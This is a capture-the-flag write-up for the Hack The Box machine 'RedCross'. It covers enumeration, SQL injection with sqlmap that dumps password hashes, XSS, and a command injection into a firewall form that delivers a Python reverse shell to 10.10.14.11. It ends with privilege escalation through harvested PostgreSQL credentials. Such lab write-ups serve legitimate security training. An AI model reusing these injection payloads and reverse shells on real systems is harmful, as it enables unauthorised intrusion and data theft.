Enumeration
export ip=10.10.10.113
ping $ip # TTL 63
nmap -p -sC -sV $ip
Port | Service | Notes |
---|---|---|
22 | ssh | OpenSSH 7.4p1 Debian 10+deb9u3 (protocol 2.0) |
80 | http | Apache httpd 2.4.25 |
443 | ssl/http | Apache httpd 2.4.25 (Debian) |
HTTP
Trying to open the IP in browser redirects to redcross.htb
so it’s neccesary to add this to the hosts (dnsmasq for my rig)
echo "address=/redcross.htb/10.10.10.113" | sudo tee /etc/NetworkManager/dnsmasq.d/domains.conf
sudo systemctl restart NetworkManager
The SSL cert is only for intra, and contains penelope@redcross.htb email. Trying some fuzzing:
dirsearch -f -u https://intra.redcross.htb/ -w /usr/share/seclists/Discovery/Web-Content/combined_directories.txt -e php
# this finds documentation directory. Checking for some interesting files
dirsearch -f -u https://intra.redcross.htb/documentation/ -w /usr/share/seclists/Discovery/Web-Content/combined_directories.txt -e md pdf html
# found /documentation/account-signup.pdf
# checking for more subdomains running
wfuzz -c -w /usr/share/seclists/Discovery/DNS/subdomains-top1million-20000.txt -u https://10.10.10.113 -H "Host: FUZZ.redcross.htb" --hw 28 --hc 400
# intra, admin
The file https://intra.redcross.htb/documentation/account-signup.pdf contains a messege:
Intranet access request:
Please send a message using our intranet contact form: https://intra.redcross.htb/?page=contact
It’s very important that the subect of the message specifies that you are requesting “credentials” and also specify an username in the body of the message in the form:
“username=yourdesiredname”
It’s very important to follow this rules to get the account information as fast as possible, otherwise the message will be sent to our IT administrator who will take care if it when possible
Following these instructions gives a message that the request is being processes, and gives credentials guest:guest
.
Logging in, and inspecting the page shows a message system. Testing an SQLI payload for the filter causes an error sql (https://intra.redcross.htb/?o=%27+or+1%3D1+--&page=app).
Capturing the reuqest via bursuite, then testing with sqlmap:
sqlmap -r sqli --delay=1
sqlmap -r sqli --delay=1 --dbs
# information_schema, redcross
sqlmap -r sqli --delay=1 -D redcross --tables
# messages, requests, users
sqlmap -r sqli --delay=1 -D redcross -T users --columns
# password, role, id, mail, username
sqlmap -r sqli --delay=1 -D redcross -T users --dump
id | role | username | password | |
---|---|---|---|---|
1 | admin@redcross.htb | 0 | admin | $2y$10$z/d5GiwZuFqjY1jRiKIPzuPXKt0SthLOyU438ajqRBtrb7ZADpwq. |
2 | penelope@redcross.htb | 1 | penelope | $2y$10$tY9Y955kyFB37GnW4xrC0.J.FzmkrQhxD..vKCQICvwOEgwfxqgAS |
3 | charles@redcross.htb | 1 | charles | $2y$10$bj5Qh0AbUM5wHeu/lTfjg.xPxjRQkqU6T8cs683Eus/Y89GHs.G7i |
4 | tricia.wanderloo@contoso.com | 100 | tricia | $2y$10$Dnv/b2ZBca2O4cp0fsBbjeQ/0HnhvJ7WrC/ZN3K7QKqTa9SSKP6r. |
5 | non@available | 1000 | guest | $2y$10$U16O2Ylt/uFtzlVbDIzJ8us9ts8f9ITWoPAWcUfK585sZue03YBAi |
admin.redcross.htb
On this site the guest
login does work, but goes into a restrictive session.
However copying the jsession
cookie from intra
in, opens up the dashboard.
The add virtual user
dialogue is vulnerable to XSS (<script>alert(1)</script>
)
Adding a user generates a password, asd : 8bIo0fNH
The site also allows to whitelist IPs. Adding in the IP of the attacker here may open up further services or pages.
More nmap
Scaning with nmap again now, shows more ports are open
nmap -sC -sV $ip -p-
Port | Service | Notes |
---|---|---|
21 | ftp | vsftpd 2.0.8 or later |
1025 | NFS-or-IIS? | |
5432 | postgresql | PostgreSQL DB 9.6.7 - 9.6.12 |
SSH
The user created on the admin panel, works to login to ssh
ssh asd@$ip # 8bIo0fNH
This system may be a sub container without a complete rootfs. There is a file at cat /home/public/src/iptctl.c
which contains the the iptabels code from admin.redcross.htb
page
iptctl.c
|
|
This script passes user input into cmdAR
to make changes to tables. It can be found to be exploitable by testing out the admin portal entry box with additional entries. For example the payload
ip=1.2.3.4;whoami&action=deny
Returns the user www-data
.
ip=1.2.3.4;python+-c+'import+socket,subprocess,os%3bs%3dsocket.socket(socket.AF_INET,socket.SOCK_STREAM)%3bs.connect(("10.10.14.11",4444))%3bos.dup2(s.fileno(),0)%3b+os.dup2(s.fileno(),1)%3b+os.dup2(s.fileno(),2)%3bp%3dsubprocess.call(["/bin/sh","-i"])%3b'&action=deny
Returns a reverse shell to a listener. Listener:
nc -lvnp
# shell stabilisation
python3 -c 'import pty; pty.spawn("/bin/bash")'
# (inside the nc session) CTRL+Z;
stty -a
stty raw -echo; fg;
ls; export SHELL=/bin/bash; export TERM=screen; stty rows 32 columns 100; reset;
Port 1025
Connecting to port 1025 now works from inside this reverse shell
telnet 127.0.0.1 1025
The header identifies itself as Haraka 2.8.8. Checking searchsploit
searchsploit haraka # Haraka < 2.8.9 - Remote Command Execution
searchsploit -m 41162.py
PostgreSQL
Checking in the web folder credentials can eb foudn for the database:
cd /var/www/html
grep -R Password
This finds unixusrmgr:dheu%7wjx8B&
Using this to login to PostGreSQL
psql -h 127.0.0.1 -U unixusrmgr unix
# check passwd_table
select * from passwd_table;
# Add sudo privledges
update passwd_table set gid=27 where uid=2022;
now when SSH’ing in, the user doesn’t land into the jail and has sudo access
ssh asd@$ip # 8bIo0fNH
id
sudo su
cat /root/root.txt
cat /home/penelope/user.txt